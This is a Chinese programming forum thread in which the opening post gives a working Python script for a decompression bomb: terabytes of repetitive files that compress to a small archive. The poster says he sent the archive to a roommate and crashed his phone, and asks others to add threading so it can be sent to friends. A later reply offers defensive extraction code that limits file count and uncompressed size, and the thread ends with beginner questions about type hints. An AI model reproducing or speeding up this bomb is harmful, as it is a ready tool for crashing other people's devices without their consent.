小丑9 发表于 2022-6-12 17:55:43

用python写了个文件炸弹

import os
def make_boom(file_path,file_num,string_len):
    if not os.path.exists(file_path):
      os.mkdir(file_path)
    os.chdir(file_path)
    for i in range(file_num):
      with open('boom%d.txt'%i,'w',encoding='utf-8') as f:
            f.write('Boom'*string_len)

make_boom('zip_boom',10000,10000*10000)

很简单的一段代码,运行速度太慢了,按我设置的这个参数运行的话估计得运行一个半小时,运行后生成的文件大小在3.6TB左右,压缩后估计几百MB,我用这段代码运行了十分钟,生成了一个276GB的文件夹,压缩后只有14MB,压缩后发给我一个憨逼舍友,成功把他手机整死机了,我不会增加线程,有会的可以改一下发给朋友{:10_334:}

wp231957 发表于 2022-6-12 19:21:57

有你这样的朋友,可是倒了血霉

小丑9 发表于 2022-6-13 08:53:31

wp231957 发表于 2022-6-12 19:21
有你这样的朋友,可是倒了血霉

那不怪我,我群里都说了,他还瞎解压{:10_277:}

骚年¥学编程 发表于 2022-6-13 09:53:48

我记得有个什么文件炸弹压缩后只有几KB的解压以后也是几TB的

小丑9 发表于 2022-6-13 10:20:38

骚年¥学编程 发表于 2022-6-13 09:53
我记得有个什么文件炸弹压缩后只有几KB的解压以后也是几TB的

那种压缩炸弹和我这种原理不同吧

骚年¥学编程 发表于 2022-6-13 11:40:23

import zipfile
import os

def unzip(filename: str):
    # 限制最大文件数100
    max_file_num = 100
    # 设置解压内容最大值(一般平均最大的压缩率20,再高就很可能是异常文件了!)
    max_file_size = 1024 * 1024 * 100 * 20
    total_size = 0
    to_zip_file = zipfile.ZipFile(filename)
    dirname = filename.replace('.zip', '')
    # 校验文件总数量
    if len(to_zip_file.filelist) > max_file_num:
      raise ValueError("压缩文件的数量超过了上限")
    # 校验解压文件内容最大值
    for file in to_zip_file.filelist:
      total_size += file.file_size
      if total_size > max_file_size:
            raise IOError("压缩包内容异常")
    # 判断文件夹重复则退出
    if os.path.exists(dirname):
      print(f'{dirname} dir has already existed')
      return -1
    else:
      # 创建文件夹,并解压
      os.mkdir(dirname)
      to_zip_file.extractall(dirname)
      to_zip_file.close()

unzip('zip_boom.zip')

小丑9 发表于 2022-6-13 13:40:25

骚年¥学编程 发表于 2022-6-13 11:40


我不了解zipfile模块,不敢随便运行{:10_256:}

小丑9 发表于 2022-6-13 13:43:21

骚年¥学编程 发表于 2022-6-13 11:40


第四行那里filename: str是什么意思

骚年¥学编程 发表于 2022-6-13 14:24:55

小丑9 发表于 2022-6-13 13:43
第四行那里filename: str是什么意思

def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字
filename:str形参名字指定参数类型为字符型

小丑9 发表于 2022-6-13 14:27:43

骚年¥学编程 发表于 2022-6-13 14:24
def unzip(filename: str):
def:关键字,定义一个函数
unzip: 函数名字


指定参数类型为字符型是将传入的实参转化成字符串吗?

骚年¥学编程 发表于 2022-6-13 15:02:09

小丑9 发表于 2022-6-13 14:27
指定参数类型为字符型是将传入的实参转化成字符串吗?

是只能传入字符串类型的数值
页: [1]
查看完整版本: 用python写了个文件炸弹